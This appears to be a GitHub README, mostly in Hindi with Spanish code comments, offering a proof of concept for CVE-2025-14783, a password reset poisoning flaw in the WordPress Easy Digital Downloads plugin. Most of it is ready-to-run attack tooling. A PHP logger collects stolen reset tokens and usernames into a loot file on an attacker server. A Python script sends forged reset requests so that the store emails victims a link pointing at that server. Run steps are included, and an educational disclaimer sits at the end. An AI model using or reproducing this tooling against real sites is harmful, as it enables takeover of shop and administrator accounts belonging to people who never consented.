
🧨 CVE-2025-14783: Easy Digital Downloads खाता अधिग्रहण (Account Takeover) PoC
"विश्वास सबसे अधिक शोषणीय सुरक्षा दोष है।"
इस रिपॉजिटरी में CVE-2025-14783 के लिए एक कार्यशील प्रूफ ऑफ कॉन्सेप्ट (PoC) शामिल है, जो WordPress के Easy Digital Downloads (EDD) प्लगइन (संस्करण <= 3.6.2) में Password Reset Poisoning (पासवर्ड रीसेट विषाक्तता) नामक एक गंभीर भेद्यता है।
पासवर्ड रीसेट अनुरोध प्रक्रिया के दौरान edd_redirect पैरामीटर में सत्यापन की कमी के कारण, एक गैर-प्रमाणित दूरस्थ हमलावर एक दुर्भावनापूर्ण डोमेन इंजेक्ट कर सकता है। इससे स्टोर द्वारा भेजे गए वैध ईमेल में एक रीसेट लिंक शामिल हो जाता है जो हमलावर के सर्वर की ओर इशारा करता है, एक्सेस टोकन (key) को लीक करता है और व्यवस्थापक खातों सहित पूर्ण Account Takeover (ATO) की अनुमति देता है।
यह दोष ईमेल के भीतर रीसेट URL बनाने वाले फ़ंक्शन में निहित है। कमजोर कोड इनपुट को "सैनिटाइज़" करने के लिए esc_url_raw() का उपयोग करता है, लेकिन गंतव्य होस्ट को मान्य नहीं करता।
// El desarrollador confió en que esc_url_raw era suficiente seguridad... error fatal.
$message = str_replace(
'{password_reset_link}',
add_query_arg(
array(
'edd_action' => 'password_reset_requested',
'key' => $key,
'login' => rawurlencode( $user_login ),
),
esc_url_raw( $_POST['edd_redirect'] ) // <--- PUNTO DE INYECCIÓN
),
$message
);
$_POST['edd_redirect'] को नियंत्रित करके, हम उत्पन्न URL के आधार को नियंत्रित करते हैं।
requests लाइब्रेरी (pip install requests)पीड़ितों के टोकन इंटरसेप्ट करने के लिए निम्न PHP स्क्रिप्ट (logger.php) को अपने दुर्भावनापूर्ण सर्वर पर अपलोड करें।
<?php
// logger.php - Captura el token y el usuario
$key = $_GET['key'] ?? '';
$login = $_GET['login'] ?? '';
$ip = $_SERVER['REMOTE_ADDR'];
$date = date('Y-m-d H:i:s');
if ($key && $login) {
$log = "[$date] TARGET: $login | TOKEN: $key | IP: $ip" . PHP_EOL;
file_put_contents('loot.txt', $log, FILE_APPEND);
echo "System maintenance. Please try again later."; // Ingeniería social básica
}
?>
अपने लक्ष्यों के साथ exploit.py स्क्रिप्ट को संपादित करें और इसे चलाएँ।
python3 exploit.py
exploit.py)import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
# CONFIGURACIÓN
TARGET_URL = "http://vulnerable-shop.com/" # URL raíz de la tienda
VICTIM_EMAIL = "[email protected]"
ATTACKER_HOST = "http://tu-servidor-malicioso.com/logger.php"
def poison_reset_link():
print(f"[*] Objetivo: {TARGET_URL}")
print(f"[*] Víctima: {VICTIM_EMAIL}")
print(f"[*] Envenenando enlace con: {ATTACKER_HOST}")
# Payload para inyectar la redirección
data = {
'edd_action': 'user_send_password_reset',
'user_email': VICTIM_EMAIL,
'edd_redirect': ATTACKER_HOST
}
try:
# Enviamos la petición al endpoint principal (o donde EDD escuche el POST)
r = requests.post(TARGET_URL, data=data, verify=False, timeout=10)
if r.status_code == 200:
print("[+] ¡Éxito! Correo envenenado enviado.")
print("[*] Ahora espera a que la víctima haga clic en el enlace del correo.")
print("[*] Revisa 'loot.txt' en tu servidor para obtener el token.")
else:
print(f"[-] Fallo. Código de estado: {r.status_code}")
except Exception as e:
print(f"[!] Error: {e}")
if __name__ == "__main__":
poison_reset_link()
| गोपनीयता | अखंडता | उपलब्धता |
|---|---|---|
| उच्च 🟥 | उच्च 🟥 | निम्न 🟩 |
एक सफल हमलावर निम्नलिखित कार्य कर सकता है:
Este software se proporciona ÚNICAMENTE con fines educativos y de investigación de seguridad.
El autor (ZeroEthical) no se hace responsable del uso indebido de esta información.
Atacar objetivos sin consentimiento previo por escrito es ilegal y puede resultar en acciones legales severas.
Úsalo bajo tu propio riesgo en entornos controlados.
Powered by ZeroEthical
"We don't fix vulnerabilities, we demonstrate them."